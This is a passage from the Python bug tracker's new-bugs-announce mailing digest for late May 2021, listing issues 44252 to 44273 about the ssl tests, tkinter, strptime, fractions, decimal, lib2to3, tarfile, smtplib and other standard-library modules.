  File "D:\a\1\s\lib\test\test_ssl.py", line 4471 in test_pha_required_nocert
  File "D:\a\1\s\lib\unittest\case.py", line 549 in _callTestMethod
  File "D:\a\1\s\lib\unittest\case.py", line 592 in run
  File "D:\a\1\s\lib\unittest\case.py", line 652 in __call__
  File "D:\a\1\s\lib\unittest\suite.py", line 122 in run
  File "D:\a\1\s\lib\unittest\suite.py", line 84 in __call__
  File "D:\a\1\s\lib\unittest\suite.py", line 122 in run
  File "D:\a\1\s\lib\unittest\suite.py", line 84 in __call__
  File "D:\a\1\s\lib\unittest\runner.py", line 176 in run
  File "D:\a\1\s\lib\test\support\__init__.py", line 959 in _run_suite
  File "D:\a\1\s\lib\test\support\__init__.py", line 1082 in run_unittest
  File "D:\a\1\s\lib\test\test_ssl.py", line 5007 in test_main
  File "D:\a\1\s\lib\test\libregrtest\runtest.py", line 246 in _runtest_inner2
  File "D:\a\1\s\lib\test\libregrtest\runtest.py", line 282 in _runtest_inner
  File "D:\a\1\s\lib\test\libregrtest\runtest.py", line 154 in _runtest
  File "D:\a\1\s\lib\test\__main__.py", line 2 in <module>
  File "D:\a\1\s\lib\runpy.py", line 86 in _run_code
  File "D:\a\1\s\lib\runpy.py", line 196 in _run_module_as_main
##[error]Cmd.exe exited with code '-1073741819'.
---


Erlend E. Aasland added:
---
Hm, I'm unable to reproduce it w/addr sanitiser on macOS (FWIW).

$ ./python.exe -m test test_ssl -F -u all -m test_pha_required_nocert

Passing 1000 successful runs now. I'll see if I can get a Win dev env set up later.
---

I may be related to commit dcb8786a9848516e823e090bb36079678913d8d3 "bpo-42972: Fully implement GC protocol for ssl heap types (GH-26370)".

----------
assignee: christian.heimes
components: SSL, Tests
messages: 394573
nosy: christian.heimes, vstinner
priority: normal
severity: normal
status: open
title: test_ssl: test_pha_required_nocert() crashs randomly with "Windows fatal exception: access violation" on Windows
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44252>
_______________________________________

From report at bugs.python.org  Thu May 27 14:40:40 2021
From: report at bugs.python.org (Adam Stewart)
Date: Thu, 27 May 2021 18:40:40 +0000
Subject: [New-bugs-announce] [issue44253] tkinter searches for tk.tcl in
 wrong directory
Message-ID: <1622140840.05.0.780709147987.issue44253@roundup.psfhosted.org>


New submission from Adam Stewart <ajstewart426 at gmail.com>:

I'm trying to install Python with tkinter support using the Spack package manager. Spack adds the following flags to configure during install:
```
'--with-tcltk-libs=-L/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib -ltcl8.6 -L/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib -ltk8.6'
```
It also sets the following environment variables:
```
TCLLIBPATH='/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tcl8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib/tcl8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib64/tcl8.6'; export TCLLIBPATH
TCL_LIBRARY=/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib; export TCL_LIBRARY
```
The install seems to correctly pick up tk/tcl and builds correctly. However, when I try to use tkinter, I see the following run-time error:
```
$ python
Python 3.8.10 (default, May 27 2021, 13:28:01) 
[Clang 12.0.0 (clang-1200.0.32.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import tkinter
>>> tkinter._test()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/python3.8/tkinter/__init__.py", line 4557, in _test
    root = Tk()
  File "/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/python3.8/tkinter/__init__.py", line 2270, in __init__
    self.tk = _tkinter.create(screenName, baseName, className, interactive, wantobjects, useTk, sync, use)
_tkinter.TclError: Can't find a usable tk.tcl in the following directories: 
    /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tcl8.6/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tcl8.6/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib/tcl8.6/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib/tcl8.6/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib64/tcl8.6/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib64/tcl8.6/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/lib/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/library

This probably means that tk wasn't installed properly.
```
It seems that tkinter searches for tk.tcl in `<prefix>/lib`, but tk.tcl is actually installed in `<prefix>/lib/tk8.6`. I asked the tk developers, but it looks like `<prefix>/lib/tk8.6` is indeed the correct installation location: https://core.tcl-lang.org/tk/tktview/447bd3e4abe17452d19a80e6840dcc8a2603fcbc

Is there a way to tell tkinter where to find tk.tcl? If not, can we modify the default search path to search in `<prefix>/lib/tk8.6`?

Related to https://github.com/spack/spack/issues/23780

----------
components: Tkinter
messages: 394584
nosy: ajstewart
priority: normal
severity: normal
status: open
title: tkinter searches for tk.tcl in wrong directory
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44253>
_______________________________________

From report at bugs.python.org  Thu May 27 16:49:58 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 27 May 2021 20:49:58 +0000
Subject: [New-bugs-announce] [issue44254] Change turtledemo button colors
Message-ID: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

[Following up on #44243.]
tk/tkinter-based turtledemo buttons are currently white on something.  On Mac, configured foreground button colors are honored (while the button is unpressed), while background colors are ignored.  Given that the unpressed default is black on white, the configured result of white on something is white on white.

I don't like the current colors anyway, so I think we should change to something on white.  I am thinking of green, red, and blue for Start, Stop, and Clear.

----------
components: Library (Lib)
messages: 394597
nosy: terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Change turtledemo button colors
type: behavior
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44254>
_______________________________________

From report at bugs.python.org  Thu May 27 18:12:07 2021
From: report at bugs.python.org (Jaap van der Velde)
Date: Thu, 27 May 2021 22:12:07 +0000
Subject: [New-bugs-announce] [issue44255] strptime and week numbers without
 week days
Message-ID: <1622153527.88.0.966699825915.issue44255@roundup.psfhosted.org>


New submission from Jaap van der Velde <jaapvandervelde at gmail.com>:

When running:
```
datetime.strptime('2013 23', '%Y %W')
```
The result is `datetime.datetime(2013, 1, 1, 0, 0)`. When running:
```
datetime.strptime('2013 23 1', '%Y %W %w')
```
The result is `datetime.datetime(2013, 6, 10, 0, 0)`.

It seems that `%W` is ignored, unless `%w` is also provided. But instead of throwing an error, a result is returned that is needlessly inaccurate. It could (and should?) return the first day of the week as a default, if an error is undesirable. Similar to:
```
datetime.strptime('2013 3', '%Y %m')
```

----------
components: Library (Lib)
messages: 394611
nosy: Jaap van der Velde
priority: normal
severity: normal
status: open
title: strptime and week numbers without week days
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44255>
_______________________________________

From report at bugs.python.org  Thu May 27 21:37:46 2021
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 28 May 2021 01:37:46 +0000
Subject: [New-bugs-announce] [issue44256] _functools._lru_list_elem is
 exposed unintentionally.
Message-ID: <1622165866.57.0.738221495914.issue44256@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

_lru_list_elem is internal data strucuture. It is intended to be used only in _lru_cache_wrapper.
Until Python 3.9, it is not exposed. But it is exposed by dd3912 accidentally.

----------
components: Extension Modules
keywords: 3.10regression
messages: 394626
nosy: methane
priority: normal
severity: normal
status: open
title: _functools._lru_list_elem is exposed unintentionally.
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44256>
_______________________________________

From report at bugs.python.org  Thu May 27 23:26:08 2021
From: report at bugs.python.org (ShinWonho)
Date: Fri, 28 May 2021 03:26:08 +0000
Subject: [New-bugs-announce] [issue44257] typo and verbous grammar in the
 grammar spec
Message-ID: <1622172368.56.0.587828284396.issue44257@roundup.psfhosted.org>


New submission from ShinWonho <new170527 at kaist.ac.kr>:

In Python Language Reference 10.Full Grammar Specification
typo: assigment_expression
verbous grammar: expressions and star_expression

----------
assignee: docs at python
components: Documentation
messages: 394630
nosy: docs at python, orangebana15
priority: normal
severity: normal
status: open
title: typo and verbous grammar in the grammar spec
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44257>
_______________________________________

From report at bugs.python.org  Fri May 28 01:47:31 2021
From: report at bugs.python.org (Sergey B Kirpichev)
Date: Fri, 28 May 2021 05:47:31 +0000
Subject: [New-bugs-announce] [issue44258] Support PEP 515 for Fraction's
 initialization from string
Message-ID: <1622180851.71.0.222300329356.issue44258@roundup.psfhosted.org>


New submission from Sergey B Kirpichev <skirpichev at gmail.com>:

Right now:
>>> from fractions import Fraction as F
>>> F(1_2_3, 3_2_1)
Fraction(41, 107)

but

>>> F('1_2_3/3_2_1')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/sk/src/cpython/Lib/fractions.py", line 115, in __new__
    raise ValueError('Invalid literal for Fraction: %r' %
ValueError: Invalid literal for Fraction: '1_2_3/3_2_1'

or even this (should be consistent with int constructor, isn't?):
>>> F('1_2_3')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/sk/src/cpython/Lib/fractions.py", line 115, in __new__
    raise ValueError('Invalid literal for Fraction: %r' %
ValueError: Invalid literal for Fraction: '1_2_3'

Tentative patch attached.  Let me know if this does make sense as a PR.

----------
components: Library (Lib)
files: fractions-from-str.diff
keywords: patch
messages: 394633
nosy: Sergey.Kirpichev
priority: normal
severity: normal
status: open
title: Support PEP 515 for Fraction's initialization from string
versions: Python 3.11
Added file: https://bugs.python.org/file50069/fractions-from-str.diff

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44258>
_______________________________________

From report at bugs.python.org  Fri May 28 06:19:27 2021
From: report at bugs.python.org (Mulugruntz)
Date: Fri, 28 May 2021 10:19:27 +0000
Subject: [New-bugs-announce] [issue44259] lib2to3 does not accept "exec" as
 name
Message-ID: <1622197167.25.0.926188011866.issue44259@roundup.psfhosted.org>


New submission from Mulugruntz <mulugruntz at gmail.com>:

I was trying to use https://github.com/NiklasRosenstein/pydoc-markdown to generate some doc for https://github.com/Mulugruntz/aiosubprocess

It was failing and for a while I thought I was doing something wrong. But when I did dig deeper, I realized that it was failing because I has a method named "exec".

The reason why I want to use "exec" is to make it obvious whether I'm executing the subprocess in shell mode or not (there's also a "shell" method).

As we can see here https://docs.python.org/3.9/reference/lexical_analysis.html#keywords

"exec" is not reserved.

Moreover, it's pretty counterintuitive that the code parses and runs correctly (cpython 3.9.5) but the lib2to3 parser crashes.

See below a working example:

```python
from lib2to3 import pygram, pytree
from lib2to3.pgen2 import driver
from lib2to3.pgen2.parse import ParseError

grammar = pygram.python_grammar.copy()
driver = driver.Driver(grammar, convert=pytree.convert)

strings = [
    "def fname(): pass",
    "def exec(): pass",
    """
class C:
    def exec(self): pass""",
]

for s in strings:
    try:
        driver.parse_string(s + '\n')
    except ParseError as pe:
        print("It fails:", s)
    else:
        print("It works:", s)

```

```shell
It works: def fname(): pass
It fails: def exec(): pass
It fails: 
class C:
    def exec(self): pass
```

----------
components: 2to3 (2.x to 3.x conversion tool)
messages: 394650
nosy: mulugruntz
priority: normal
severity: normal
status: open
title: lib2to3 does not accept "exec" as name
type: crash
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44259>
_______________________________________

From report at bugs.python.org  Fri May 28 10:27:28 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 28 May 2021 14:27:28 +0000
Subject: [New-bugs-announce] [issue44260] _Random.seed() is called twice
Message-ID: <1622212048.99.0.121842396012.issue44260@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

_Random.seed() is called twice: first it is called in _Random.__new__(), then it is called in Random.__init__(). By default it reads system enthropy, so it consumes global system resource without need.

----------
components: Extension Modules
messages: 394663
nosy: mark.dickinson, rhettinger, serhiy.storchaka
priority: normal
severity: normal
status: open
title: _Random.seed() is called twice

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44260>
_______________________________________

From report at bugs.python.org  Fri May 28 11:21:42 2021
From: report at bugs.python.org (Sebastian Rittau)
Date: Fri, 28 May 2021 15:21:42 +0000
Subject: [New-bugs-announce] [issue44261] SocketType documentation misleading
Message-ID: <1622215302.61.0.335159257194.issue44261@roundup.psfhosted.org>


New submission from Sebastian Rittau <srittau at rittau.biz>:

The documentation of socket.SocketType (https://docs.python.org/3/library/socket.html?highlight=sockettype#socket.SocketType) is misleading. It states:

    This is a Python type object that represents the socket object type. It is the same as type(socket(...)).

This is untrue. socket.SocketType is in reality re-exported from _socket, where it is an alias for class _socket.socket, a super type of class socket.socket. I think that either the documentation should be fixed, or SocketType should be moved to socket and made an alias of socket.socket.

----------
assignee: docs at python
components: Documentation
messages: 394665
nosy: docs at python, srittau
priority: normal
severity: normal
status: open
title: SocketType documentation misleading

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44261>
_______________________________________

From report at bugs.python.org  Fri May 28 11:39:24 2021
From: report at bugs.python.org (Vasco Gervasi)
Date: Fri, 28 May 2021 15:39:24 +0000
Subject: [New-bugs-announce] [issue44262] tarfile: some content different
 output
Message-ID: <1622216364.56.0.487056278945.issue44262@roundup.psfhosted.org>


New submission from Vasco Gervasi <yellowhat at mailbox.org>:

Hi,
I am seeing some irregularities on the the tar files created using python.

Consider the attached script.
This is the output from the scripts:
```
  # gz
b'0f2eb7b3cac63267b1cf51d2bd5e3144f53cc5b172bbad3dccd5adf4ffb2d220  /tmp/py.gz\n'
9bde8fdb44d98c5a838a9fedaff6e66cd536d91022f8a64a6ecc514f38ce01af
b'e37c3d30ae3c12e872c6aade55ac0a40da8b3f357ce8ed77287bc9f8f024e587  /tmp/py.gz\n'
7ac976e3c94b90abff3c4138a2d153e9be9cc87e2b5a97baf2be95ca04029936

  # bz2
b'd04678e749491e4de1065d3f72ba66395d6bd8ffba3d6360ed9ca2c514586fd3  /tmp/py.bz2\n'
9aa293624df8c40f47614045602af41cc603ca92c97c94926296ef38396d6e3f
b'd04678e749491e4de1065d3f72ba66395d6bd8ffba3d6360ed9ca2c514586fd3  /tmp/py.bz2\n'
9aa293624df8c40f47614045602af41cc603ca92c97c94926296ef38396d6e3f

  # xz
b'a050baa1ab765fa037524ff061d59f62ad37bc6d1bacf98f9bff2f4b4c312fab  /tmp/py.xz\n'
ca39f034d7812d2420573218c69313ac31fd516ffebe1a57f4e41a32e1e840b9
b'a050baa1ab765fa037524ff061d59f62ad37bc6d1bacf98f9bff2f4b4c312fab  /tmp/py.xz\n'
ca39f034d7812d2420573218c69313ac31fd516ffebe1a57f4e41a32e1e840b9

b'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  /tmp/tar_a0.tgz\n'
b'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  /tmp/tar_a1.tgz\n'
b'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  /tmp/gzp_a0.tgz\n'
b'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  /tmp/gzp_a1.tgz\n'
```

As you can see the tar generated using the `tar` command are always same, instead the one generated using python are not.

Am I missing some arguments?

Thanks

----------
components: Library (Lib)
files: compress.py
messages: 394666
nosy: yellowhat
priority: normal
severity: normal
status: open
title: tarfile: some content different output
type: behavior
Added file: https://bugs.python.org/file50070/compress.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44262>
_______________________________________

From report at bugs.python.org  Fri May 28 20:00:31 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sat, 29 May 2021 00:00:31 +0000
Subject: [New-bugs-announce] [issue44263] Better explain the GC contract for
 PyType_FromSpecWithBases
Message-ID: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

We currently don't properly document how PyType_FromSpecWithBases behaves if the class is inheriting from some other class with GC support.

----------
messages: 394706
nosy: pablogsal
priority: normal
severity: normal
status: open
title: Better explain the GC contract for PyType_FromSpecWithBases

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44263>
_______________________________________

From report at bugs.python.org  Sat May 29 15:13:51 2021
From: report at bugs.python.org (David Gene)
Date: Sat, 29 May 2021 19:13:51 +0000
Subject: [New-bugs-announce] [issue44264] Add descriptive error message when
 environment variable not detected
Message-ID: <1622315631.82.0.174699823262.issue44264@roundup.psfhosted.org>


New submission from David Gene <david at astrosticks.com>:

Using os.environ[KEY] with a non-existent environment variable key only gives a simple KeyError, which may be fine for a developer to understand, but if a user of a Python program were to come across it, it may not indicate what they needed to do to avoid the crash. I would raising the keyError with a message such as "Environment variable '{}' not set".

----------
messages: 394735
nosy: astrosticks
priority: normal
pull_requests: 25047
severity: normal
status: open
title: Add descriptive error message when environment variable not detected
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44264>
_______________________________________

From report at bugs.python.org  Sat May 29 17:53:07 2021
From: report at bugs.python.org (Muhammad Hussein Ammari)
Date: Sat, 29 May 2021 21:53:07 +0000
Subject: [New-bugs-announce] [issue44265] Create an MSI Package
Message-ID: <1622325187.57.0.0411972707678.issue44265@roundup.psfhosted.org>


New submission from Muhammad Hussein Ammari <xmha97 at gmail.com>:

Hi, Please create an MSI package. (like Python v3.4.4 or Python v2.7.18)
https://www.python.org/ftp/python/3.4.4/python-3.4.4.amd64.msi
https://www.python.org/ftp/python/2.7.18/python-2.7.18.amd64.msi
Thanks.

----------
components: Installation, Windows
messages: 394740
nosy: paul.moore, steve.dower, tim.golden, xmha97, zach.ware
priority: normal
severity: normal
status: open
title: Create an MSI Package
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44265>
_______________________________________

From report at bugs.python.org  Sat May 29 20:18:39 2021
From: report at bugs.python.org (Chinmay Malvania)
Date: Sun, 30 May 2021 00:18:39 +0000
Subject: [New-bugs-announce] [issue44266] AttributeError: module 'sys' has
 no attribute 'original_stdout'
Message-ID: <1622333919.37.0.77785339426.issue44266@roundup.psfhosted.org>


New submission from Chinmay Malvania <chinmay.malvania at gmail.com>:

I imported sys but when I use it, it says:
AttributeError: module 'sys' has no attribute 'original_stdout'

----------
messages: 394746
nosy: chinmay.malvania
priority: normal
severity: normal
status: open
title: AttributeError: module 'sys' has no attribute 'original_stdout'

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44266>
_______________________________________

From report at bugs.python.org  Sun May 30 00:12:10 2021
From: report at bugs.python.org (Sergey B Kirpichev)
Date: Sun, 30 May 2021 04:12:10 +0000
Subject: [New-bugs-announce] [issue44267] Wrong PEP 515 parsing in decimal
 module (both C and Python versions)
Message-ID: <1622347930.35.0.888351355476.issue44267@roundup.psfhosted.org>


New submission from Sergey B Kirpichev <skirpichev at gmail.com>:

While working on issue44258 I discover that the decimal module doesn't follow specification in PEP 515: "The current proposal is to allow one underscore between digits, and after base specifiers in numeric literals." (c)

For example:
>>> float("1.1__1")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: could not convert string to float: '1.1__1'

but
>>> from decimal import Decimal as C
>>> from _pydecimal import Decimal as P
>>> C("1.1__1")
Decimal('1.11')
>>> P("1.1__1")
Decimal('1.11')

Maybe this requirement could be relaxed in PEP, but it seems - this was already discussed (see Alternative Syntax section).  Hence, I think this is a bug.

Patch for _pydecimal attached.

----------
components: Extension Modules, Library (Lib)
files: _pydecimal-pep515.diff
keywords: patch
messages: 394750
nosy: Sergey.Kirpichev
priority: normal
severity: normal
status: open
title: Wrong PEP 515 parsing in decimal module (both C and Python versions)
versions: Python 3.11
Added file: https://bugs.python.org/file50071/_pydecimal-pep515.diff

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44267>
_______________________________________

From report at bugs.python.org  Sun May 30 05:44:10 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 30 May 2021 09:44:10 +0000
Subject: [New-bugs-announce] [issue44268] gettext: deprecate selecting
 plural form by fractional numbers (part 2)
Message-ID: <1622367850.33.0.100033596673.issue44268@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Non-integer numbers in GNUTranslations.ngettext() are deprecated since 3.7 (see issue28692 for rationale). But I forget to add deprecation warning for default implementation (which just tests n == 1) and forget to add the "deprecated" directive in the module documentation. So currently

    gettext("Elapsed: %s second", "Elapsed: %s seconds", 1.25)

will emit a warning if there is a translation for these strings, and no warnings if it is not translated yet, or translation file is not found, or null translation is used.

It is now time to convert warnings to errors, but it would be error-prone since many developers do not have translations yet when write a code or use no translation (and fallback to hard-coded English).

The safest way is to add deprecation warnings also for default and fallback implementation before turning all of them into errors. Pablo, can we add these warnings in 3.10?

----------
components: Library (Lib)
messages: 394762
nosy: pablogsal, serhiy.storchaka
priority: normal
severity: normal
status: open
title: gettext: deprecate selecting plural form by fractional numbers (part 2)
type: enhancement
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44268>
_______________________________________

From report at bugs.python.org  Sun May 30 15:25:20 2021
From: report at bugs.python.org (John L)
Date: Sun, 30 May 2021 19:25:20 +0000
Subject: [New-bugs-announce] [issue44269] smtplib AUTH command doesn't
 handle EAI arguments
Message-ID: <1622402720.57.0.196040289354.issue44269@roundup.psfhosted.org>


New submission from John L <johnl at taugh.com>:

In an EAI (SMTPUTF8) mail session, AUTH usernames and passwords can be UTF-8, not just ASCII.

The fix is easy.  In smtplib.py, in three places in the auth() and auth_cram_md5() routines change ".encode('ascii')" to ".encode(self.command_encoding)"

I have tried this with EAI mail servers in India and China to be sure it works.

----------
components: Library (Lib)
messages: 394779
nosy: jrlevine
priority: normal
severity: normal
status: open
title: smtplib AUTH command doesn't handle EAI arguments
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44269>
_______________________________________

From report at bugs.python.org  Sun May 30 22:15:53 2021
From: report at bugs.python.org (Michael Hirsch, Ph.D.)
Date: Mon, 31 May 2021 02:15:53 +0000
Subject: [New-bugs-announce] [issue44270] shutil.which: does not find
 path/cmd.ext where ext is not given
Message-ID: <1622427353.15.0.786946612007.issue44270@roundup.psfhosted.org>


New submission from Michael Hirsch, Ph.D. <michael at scivision.dev>:

The early short-circuit logic in shutil.which() when cmd includes a directory component incorrectly gives None on Windows if the correct filename suffix was not also given.

Example: on Windows if ./foo.exe exists, then shutil.which('./foo.exe') returns None.

----------
components: Library (Lib)
messages: 394784
nosy: michael2
priority: normal
severity: normal
status: open
title: shutil.which: does not find path/cmd.ext where ext is not given
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44270>
_______________________________________

From report at bugs.python.org  Mon May 31 03:58:01 2021
From: report at bugs.python.org (=?utf-8?b?5LiW55WM56ys5LiA5aW95ZCD?=)
Date: Mon, 31 May 2021 07:58:01 +0000
Subject: [New-bugs-announce] [issue44271] asyncio random
Message-ID: <1622447881.83.0.692370536572.issue44271@roundup.psfhosted.org>


Change by ?????? <admin at ivjn.us>:


----------
nosy: twbt4f
priority: normal
severity: normal
status: open
title: asyncio random

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44271>
_______________________________________

From report at bugs.python.org  Mon May 31 04:08:06 2021
From: report at bugs.python.org (Kshitish Kumar)
Date: Mon, 31 May 2021 08:08:06 +0000
Subject: [New-bugs-announce] [issue44272] DeprecationWarning: The *random*
 parameter to shuffle() has been deprecated since Python 3.9 and will be
 removed in a subsequent version
Message-ID: <1622448486.31.0.346285053861.issue44272@roundup.psfhosted.org>


New submission from Kshitish Kumar <kkshitish at yahoo.com>:

Code:

import random as ran


x = ran.shuffle(10,random=1)

Output:

DeprecationWarning: The *random* parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version.

 x = ran.shuffle(10,random=1)
  File "C:\Users\nisha\AppData\Local\Programs\Python\Python39\lib\random.py", line 369, in shuffle
    for i in reversed(range(1, len(x))):
TypeError: object of type 'int' has no len()

----------
files: main.py
messages: 394792
nosy: Kkshitish
priority: normal
severity: normal
status: open
title: DeprecationWarning: The *random* parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version
versions: Python 3.9
Added file: https://bugs.python.org/file50075/main.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44272>
_______________________________________

From report at bugs.python.org  Mon May 31 11:04:05 2021
From: report at bugs.python.org (Andre Roberge)
Date: Mon, 31 May 2021 15:04:05 +0000
Subject: [New-bugs-announce] [issue44273] Assigning to Ellipsis should be
 the same as assigning to __debug__
Message-ID: <1622473445.97.0.736288875096.issue44273@roundup.psfhosted.org>


New submission from Andre Roberge <andre.roberge at gmail.com>:

Consider the following in Python 3.10

>>> ... = 1
  File "<stdin>", line 1
    ... = 1
    ^^^
SyntaxError: cannot assign to Ellipsis here. Maybe you meant '==' instead of '='?
>>> __debug__ = 1
  File "<stdin>", line 1
SyntaxError: cannot assign to __debug__

In prior Python versions, assignments to Ellisis written as ... were treated the same as assignment to __debug__. I believe that the old message was a better choice.

The error message about assigning to Ellipsis (...) is made even more confusing since Ellipsis (the name) can be assigned to a different value.

>>> ... == Ellipsis
True
>>> Ellipsis = 1
>>> ... == Ellipsis
False
>>> ...
Ellipsis

----------
components: Interpreter Core
messages: 394808
nosy: aroberge
priority: normal
severity: normal
status: open
title: Assigning to Ellipsis should be the same as assigning to __debug__
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44273>
_______________________________________

From report at bugs.python.org  Mon May 31 11:11:29 2021
From: report at bugs.python.org (Abhishek Ramesh)
Date: Mon, 31 May 2021 15:11:29 +0000
Subject: [New-bugs-announce] [issue44274] Installation problem for
